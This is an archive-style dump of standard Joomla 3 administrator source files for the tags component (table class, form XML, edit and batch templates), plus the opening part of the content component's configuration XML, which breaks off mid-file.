			description="JGLOBAL_SHOW_FEED_LINK_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_tags"
			section="component"
		/>
	</fieldset>
</config>
com_tags/tables/tag.php000060400000014033152455305310011076 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * Tags table
 *
 * @since  3.1
 */
class TagsTableTag extends JTableNested
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  A database connector object
	 */
	public function __construct($db)
	{
		parent::__construct('#__tags', 'id', $db);

		JTableObserverContenthistory::createObserver($this, array('typeAlias' => 'com_tags.tag'));
	}

	/**
	 * Overloaded bind function
	 *
	 * @param   array  $array   Named array
	 * @param   mixed  $ignore  An optional array or space separated list of properties
	 * to ignore while binding.
	 *
	 * @return  mixed  Null if operation was satisfactory, otherwise returns an error string
	 *
	 * @see     JTable::bind
	 * @since   3.1
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['params']) && is_array($array['params']))
		{
			$registry = new Registry($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) && is_array($array['metadata']))
		{
			$registry = new Registry($array['metadata']);
			$array['metadata'] = (string) $registry;
		}

		if (isset($array['urls']) && is_array($array['urls']))
		{
			$registry = new Registry($array['urls']);
			$array['urls'] = (string) $registry;
		}

		if (isset($array['images']) && is_array($array['images']))
		{
			$registry = new Registry($array['images']);
			$array['images'] = (string) $registry;
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  UnexpectedValueException
	 */
	public function check()
	{
		// Check for valid name.
		if (trim($this->title) == '')
		{
			throw new UnexpectedValueException(sprintf('The title is empty'));
		}

		if (empty($this->alias))
		{
			$this->alias = $this->title;
		}

		$this->alias = JApplicationHelper::stringURLSafe($this->alias, $this->language);

		if (trim(str_replace('-', '', $this->alias)) == '')
		{
			$this->alias = JFactory::getDate()->format('Y-m-d-H-i-s');
		}

		// Check the publish down date is not earlier than publish up.
		if ((int) $this->publish_down > 0 && $this->publish_down < $this->publish_up)
		{
			throw new UnexpectedValueException(sprintf('End publish date is before start publish date.'));
		}

		// Clean up keywords -- eliminate extra spaces between phrases
		// and cr (\r) and lf (\n) characters from string
		if (!empty($this->metakey))
		{
			// Only process if not empty
			// Define array of characters to remove
			$bad_characters = array("\n", "\r", "\"", '<', '>');

			// Remove bad characters
			$after_clean = StringHelper::str_ireplace($bad_characters, '', $this->metakey);

			// Create array using commas as delimiter
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				if (trim($key))
				{
					// Ignore blank keywords
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(', ', $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", '<', '>');
			$this->metadesc = StringHelper::str_ireplace($bad_characters, '', $this->metadesc);
		}

		// Not Null sanity check
		$date = JFactory::getDate();

		if (empty($this->params))
		{
			$this->params = '{}';
		}

		if (empty($this->metadesc))
		{
			$this->metadesc = '';
		}

		if (empty($this->metakey))
		{
			$this->metakey = '';
		}

		if (empty($this->metadata))
		{
			$this->metadata = '{}';
		}

		if (empty($this->urls))
		{
			$this->urls = '{}';
		}

		if (empty($this->images))
		{
			$this->images = '{}';
		}

		if (!(int) $this->checked_out_time)
		{
			$this->checked_out_time = $date->toSql();
		}

		if (!(int) $this->modified_time)
		{
			$this->modified_time = $date->toSql();
		}

		if (!(int) $this->modified_time)
		{
			$this->modified_time = $date->toSql();
		}

		if (!(int) $this->publish_up)
		{
			$this->publish_up = $date->toSql();
		}

		if (!(int) $this->publish_down)
		{
			$this->publish_down = $date->toSql();
		}

		return true;
	}

	/**
	 * Overriden JTable::store to set modified data and user id.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		$this->modified_time = $date->toSql();

		if ($this->id)
		{
			// Existing item
			$this->modified_user_id = $user->get('id');
		}
		else
		{
			// New tag. A tag created and created_by field can be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created_time)
			{
				$this->created_time = $date->toSql();
			}

			if (empty($this->created_user_id))
			{
				$this->created_user_id = $user->get('id');
			}
		}

		// Verify that the alias is unique
		$table = JTable::getInstance('Tag', 'TagsTable', array('dbo' => $this->_db));

		if ($table->load(array('alias' => $this->alias)) && ($table->id != $this->id || $this->id == 0))
		{
			$this->setError(JText::_('COM_TAGS_ERROR_UNIQUE_ALIAS'));

			return false;
		}

		return parent::store($updateNulls);
	}

	/**
	 * Method to delete a node and, optionally, its child nodes from the table.
	 *
	 * @param   integer  $pk        The primary key of the node to delete.
	 * @param   boolean  $children  True to delete child nodes, false to move them up a level.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 */
	public function delete($pk = null, $children = false)
	{
		$return = parent::delete($pk, $children);

		if ($return)
		{
			$helper = new JHelperTags;
			$helper->tagDeleteInstances($pk);
		}

		return $return;
	}
}
com_tags/models/forms/filter_tags.xml000060400000005341152455305310014000 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_TAGS_FILTER_SEARCH_LABEL"
			description="COM_TAGS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="published"
			type="status"
			label="COM_TAGS_FILTER_PUBLISHED"
			description="COM_TAGS_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
        <field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
        </field>
		<field
			name="extension"
			type="aliastag"
			label="COM_TAGS_FILTER_ALIASTYPE_LABEL"
			description="COM_TAGS_FIELD_ALIASTYPE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_TAGS_SELECT_TAGTYPE</option>
		</field>
	</fields>
	<fields name="list">
		<field
            name="fullordering"
			type="list"
			label="COM_TAGS_LIST_FULL_ORDERING"
			description="COM_TAGS_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.lft ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.lft DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="a.language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_TAGS_LIST_LIMIT"
			description="COM_TAGS_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_tags/models/forms/tag.xml000060400000016201152455305310012245 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="id"
		type="number"
		label="JGLOBAL_FIELD_ID_LABEL"
		description="JGLOBAL_FIELD_ID_DESC"
		default="0"
		class="readonly"
		readonly="true"
	/>

	<field
		name="hits"
		type="number"
		label="JGLOBAL_HITS"
		description="COM_TAGS_FIELD_HITS_DESC"
		class="readonly"
		default="0"
		readonly="true"
		filter="unset"
	/>

	<field
		name="parent_id"
		type="tag"
		label="COM_TAGS_FIELD_PARENT_LABEL"
		description="COM_TAGS_FIELD_PARENT_DESC"
		mode="nested"
		validate="notequals"
		field="id"
		parent="parent"
		>
		<option value="1">JNONE</option>
	</field>

	<field
		name="lft"
		type="hidden"
		filter="unset"
	/>

	<field
		name="rgt"
		type="hidden"
		filter="unset"
	/>

	<field
		name="level"
		type="hidden"
		filter="unset"
	/>

	<field
		name="path"
		type="text"
		label="CATEGORIES_PATH_LABEL"
		description="CATEGORIES_PATH_DESC"
		class="readonly"
		size="40"
		readonly="true"
	/>

	<field
		name="title"
		type="text"
		label="JGLOBAL_TITLE"
		description="JFIELD_TITLE_DESC"
		class="input-xxlarge input-large-text"
		size="40"
		required="true"
	/>

	<field
		name="note"
		type="text"
		label="COM_TAGS_FIELD_NOTE_LABEL"
		description="COM_TAGS_FIELD_NOTE_DESC"
		maxlength="255"
		class="span12"
		size="40"
	/>

	<field
		name="description"
		type="editor"
		label="JGLOBAL_DESCRIPTION"
		description="COM_TAGS_DESCRIPTION_DESC"
		filter="JComponentHelper::filterText"
		buttons="true"
		hide="readmore,pagebreak"
	/>

	<field
		name="published"
		type="list"
		label="JSTATUS"
		description="JFIELD_PUBLISHED_DESC"
		class="chzn-color-state"
		default="1"
		size="1"
		>
		<option value="1">JPUBLISHED</option>
		<option value="0">JUNPUBLISHED</option>
		<option value="2">JARCHIVED</option>
		<option value="-2">JTRASHED</option>
	</field>

	<field
		name="checked_out"
		type="hidden"
		filter="unset"
	/>

	<field
		name="checked_out_time"
		type="hidden"
		filter="unset"
	/>

	<field
		name="access"
		type="accesslevel"
		label="JFIELD_ACCESS_LABEL"
		description="JFIELD_ACCESS_DESC"
	/>

	<field
		name="metadesc"
		type="textarea"
		label="JFIELD_META_DESCRIPTION_LABEL"
		description="JFIELD_META_DESCRIPTION_DESC"
		rows="3"
		cols="40"
	/>

	<field
		name="metakey"
		type="textarea"
		label="JFIELD_META_KEYWORDS_LABEL"
		description="JFIELD_META_KEYWORDS_DESC"
		rows="3"
		cols="40"
	/>

	<field
		name="alias"
		type="text"
		label="JFIELD_ALIAS_LABEL"
		description="JFIELD_ALIAS_DESC"
		hint="JFIELD_ALIAS_PLACEHOLDER"
		size="40"
	/>

	<field
		name="created_user_id"
		type="user"
		label="JGLOBAL_FIELD_CREATED_BY_LABEL"
		description="JGLOBAL_FIELD_CREATED_BY_DESC"
	/>

	<field
		name="created_by_alias"
		type="text"
		label="JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL"
		description="JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC"
		labelclass="control-label"
		size="20"
	/>

	<field
		name="created_time"
		type="calendar"
		label="JGLOBAL_CREATED_DATE"
		description="COM_TAGS_FIELD_CREATED_DATE_DESC"
		class="readonly"
		translateformat="true"
		showtime="true"
		filter="user_utc"
		readonly="true"
	/>

	<field
		name="modified_user_id"
		type="user"
		label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
		class="readonly"
		readonly="true"
		filter="unset"
	/>

	<field
		name="modified_time"
		type="calendar"
		label="JGLOBAL_FIELD_MODIFIED_LABEL"
		description="COM_TAGS_FIELD_MODIFIED_DESC"
		class="readonly"
		translateformat="true"
		showtime="true"
		filter="user_utc"
		readonly="true"
	/>

	<field
		name="language"
		type="contentlanguage"
		label="JFIELD_LANGUAGE_LABEL"
		description="COM_TAGS_FIELD_LANGUAGE_DESC"
		>
		<option value="*">JALL</option>
	</field>

	<field
		name="version_note"
		type="text"
		label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
		description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
		maxlength="255"
		class="span12" size="45"
		labelclass="control-label"
	/>

	<fields name="params" label="JGLOBAL_FIELDSET_DISPLAY_OPTIONS">
		<fieldset
			name="basic"
			label="COM_TAGS_BASIC_FIELDSET_LABEL"
		>

			<field
				name="tag_layout"
				type="componentlayout"
				label="JFIELD_ALT_LAYOUT_LABEL"
				description="JFIELD_ALT_COMPONENT_LAYOUT_DESC"
				labelclass="control-label"
				useglobal="true"
				extension="com_tags"
				view="tag"
			/>

			<field
				name="tag_link_class"
				type="text"
				label="COM_TAGS_FIELD_TAG_LINK_CLASS"
				description="COM_TAGS_FIELD_TAG_LINK_CLASS_DESC"
				labelclass="control-label"
				size="20"
				default="label label-info"
			/>

		</fieldset>
	</fields>

	<fields name="images">
		<fieldset name="images" label="JGLOBAL_FIELDSET_IMAGE_OPTIONS">
			<field
				name="image_intro"
				type="media"
				label="COM_TAGS_FIELD_INTRO_LABEL"
				description="COM_TAGS_FIELD_INTRO_DESC"
				labelclass="control-label"
			/>

			<field
				name="float_intro"
				type="list"
				label="COM_TAGS_FLOAT_LABEL"
				description="COM_TAGS_FLOAT_DESC"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_SELECT_AN_OPTION</option>
				<option value="right">COM_TAGS_RIGHT</option>
				<option value="left">COM_TAGS_LEFT</option>
				<option value="none">COM_TAGS_NONE</option>
			</field>

			<field
				name="image_intro_alt"
				type="text"
				label="COM_TAGS_FIELD_IMAGE_ALT_LABEL"
				description="COM_TAGS_FIELD_IMAGE_ALT_DESC"
				labelclass="control-label"
				size="20"
			/>

			<field
				name="image_intro_caption"
				type="text"
				label="COM_TAGS_FIELD_IMAGE_CAPTION_LABEL"
				description="COM_TAGS_FIELD_IMAGE_CAPTION_DESC"
				size="20"
				labelclass="control-label"
			/>

			<field
				name="spacer1"
				type="spacer"
				hr="true"
			/>

			<field
				name="image_fulltext"
				type="media"
				label="COM_TAGS_FIELD_FULL_LABEL"
				description="COM_TAGS_FIELD_FULL_DESC"
				labelclass="control-label"
			/>

			<field
				name="float_fulltext"
				type="list"
				label="COM_TAGS_FLOAT_LABEL"
				description="COM_TAGS_FLOAT_DESC"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_SELECT_AN_OPTION</option>
				<option value="right">COM_TAGS_RIGHT</option>
				<option value="left">COM_TAGS_LEFT</option>
				<option value="none">COM_TAGS_NONE</option>
			</field>

			<field
				name="image_fulltext_alt"
				type="text"
				label="COM_TAGS_FIELD_IMAGE_ALT_LABEL"
				description="COM_TAGS_FIELD_IMAGE_ALT_DESC"
				labelclass="control-label"
				size="20"
			/>

			<field
				name="image_fulltext_caption"
				type="text"
				label="COM_TAGS_FIELD_IMAGE_CAPTION_LABEL"
				description="COM_TAGS_FIELD_IMAGE_CAPTION_DESC"
				labelclass="control-label"
				size="20"
			/>
		</fieldset>
	</fields>

	<fields name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
		<fieldset name="jmetadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

			<field
				name="author"
				type="text"
				label="JAUTHOR"
				description="JFIELD_METADATA_AUTHOR_DESC"
				size="30"
			/>

			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>
		</fieldset>
	</fields>
</form>
com_tags/views/tags/tmpl/default_batch_body.php000060400000001175152455305310015725 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$published = $this->state->get('filter.published');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
</div>com_tags/views/tags/tmpl/default_batch_footer.php000060400000001264152455305310016265 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-tag-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('tag.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_tags/views/tag/tmpl/edit.php000060400000004345152455305310012667 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'tag.cancel' || document.formvalidator.isValid(document.getElementById('item-form'))) {
			" . $this->form->getField('description')->save() . "
			Joomla.submitform(task, document.getElementById('item-form'));
		}
	};
");

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = array('jmetadata');
?>

<form action="<?php echo JRoute::_('index.php?option=com_tags&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_TAGS_FIELDSET_DETAILS')); ?>
		<div class="row-fluid">
			<div class="span9">
				<div class="form-vertical">
					<?php echo $this->form->renderField('description'); ?>
				</div>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.metadata', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_tags/views/tag/tmpl/edit_metadata.php000060400000001537152455305310014527 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="control-group">
	<?php echo $this->form->getLabel('metadesc'); ?>
	<div class="controls">
		<?php echo $this->form->getInput('metadesc'); ?>
	</div>
</div>
<div class="control-group">
	<?php echo $this->form->getLabel('metakey'); ?>
	<div class="controls">
		<?php echo $this->form->getInput('metakey'); ?>
	</div>
</div>
<?php foreach ($this->form->getGroup('metadata') as $field) : ?>
<div class="control-group">
	<?php if (!$field->hidden) : ?>
		<?php echo $field->label; ?>
	<?php endif; ?>
	<div class="controls">
		<?php echo $field->input; ?>
	</div>
</div>
<?php endforeach; ?>
com_tags/views/tag/tmpl/edit_options.php000060400000003762152455305310014444 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php
	echo JHtml::_('bootstrap.startAccordion', 'categoryOptions', array('active' => 'collapse0'));
	$fieldSets = $this->form->getFieldsets('params');
	$i = 0;

	foreach ($fieldSets as $name => $fieldSet) :
		$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_TAGS_' . $name . '_FIELDSET_LABEL';
		echo JHtml::_('bootstrap.addSlide', 'categoryOptions', JText::_($label), 'collapse' . ($i++));
			if (isset($fieldSet->description) && trim($fieldSet->description)) :
				echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
			endif;
			?>
				<?php foreach ($this->form->getFieldset($name) as $field) : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php echo $field->input; ?>
						</div>
					</div>
				<?php endforeach; ?>

				<?php if ($name == 'basic') : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('note'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('note'); ?>
						</div>
					</div>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('tag_layout'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('tag_layout'); ?>
						</div>
					</div>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('tag_link_class'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('tag_link_class'); ?>
						</div>
					</div>
				<?php endif;
		echo JHtml::_('bootstrap.endSlide');
	endforeach;
echo JHtml::_('bootstrap.endAccordion');
com_content/config.xml000060400000067763152455305310011065 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="articles"
		label="JGLOBAL_ARTICLES"
		description="COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC"
	>

		<field
			name="article_layout"
			type="componentlayout"
			label="JGLOBAL_FIELD_LAYOUT_LABEL"
			description="JGLOBAL_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_content"
			view="article"
		/>

		<field
			name="show_title"
			type="radio"
			label="JGLOBAL_SHOW_TITLE_LABEL"
			description="JGLOBAL_SHOW_TITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_titles"
			type="radio"
			label="JGLOBAL_LINKED_TITLES_LABEL"
			description="JGLOBAL_LINKED_TITLES_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_title:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_intro"
			type="radio"
			label="JGLOBAL_SHOW_INTRO_LABEL"
			description="JGLOBAL_SHOW_INTRO_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="info_block_position"
			type="list"
			label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
			description="COM_CONTENT_FIELD_INFOBLOCK_POSITION_DESC"
			default="0"
			>
			<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
			<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
			<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
		</field>

		<field
			name="info_block_show_title"
			type="radio"
			label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
			description="COM_CONTENT_FIELD_INFOBLOCK_TITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_category"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_category"
			type="radio"
			label="JGLOBAL_LINK_CATEGORY_LABEL"
			description="JGLOBAL_LINK_CATEGORY_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_category:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_parent_category"
			type="radio"
			label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
			description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_parent_category"
			type="radio"
			label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
			description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_parent_category:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="spacer1"
			type="spacer"
			hr="true"
		/>

		<field
			name="show_associations"
			type="radio"
			label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
			description="JGLOBAL_SHOW_ASSOCIATIONS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="flags"
			type="radio"
			label="JGLOBAL_SHOW_FLAG_LABEL"
			description="JGLOBAL_SHOW_FLAG_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_associations:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="spacer3"
			type="spacer"
			hr="true"
		/>

		<field
			name="show_author"
			type="radio"
			label="JGLOBAL_SHOW_AUTHOR_LABEL"
			description="JGLOBAL_SHOW_AUTHOR_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_author"
			type="radio"
			label="JGLOBAL_LINK_AUTHOR_LABEL"
			description="JGLOBAL_LINK_AUTHOR_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="show_author:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_create_date"
			type="radio"
			label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
			description="JGLOBAL_SHOW_CREATE_DATE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_modify_date"
			type="radio"
			label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
			description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_publish_date"
			type="radio"
			label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
			description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_item_navigation"
			type="radio"
			label="JGLOBAL_SHOW_NAVIGATION_LABEL"
			description="JGLOBAL_SHOW_NAVIGATION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_vote"
			type="radio"
			label="JGLOBAL_SHOW_VOTE_LABEL"
			description="JGLOBAL_SHOW_VOTE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_readmore"
			type="radio"
			label="JGLOBAL_SHOW_READMORE_LABEL"
			description="JGLOBAL_SHOW_READMORE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_readmore_title"
			type="radio"
			label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
			description="JGLOBAL_SHOW_READMORE_TITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_readmore:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="readmore_limit"
			type="number"
			label="JGLOBAL_SHOW_READMORE_LIMIT_LABEL"
			description="JGLOBAL_SHOW_READMORE_LIMIT_DESC"
			default="100"
			showon="show_readmore:1[AND]show_readmore_title:1"
		/>

		<field
			name="show_tags"
			type="radio"
			label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
			description="COM_CONTENT_FIELD_SHOW_TAGS_DESC"
			id="show_tags"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
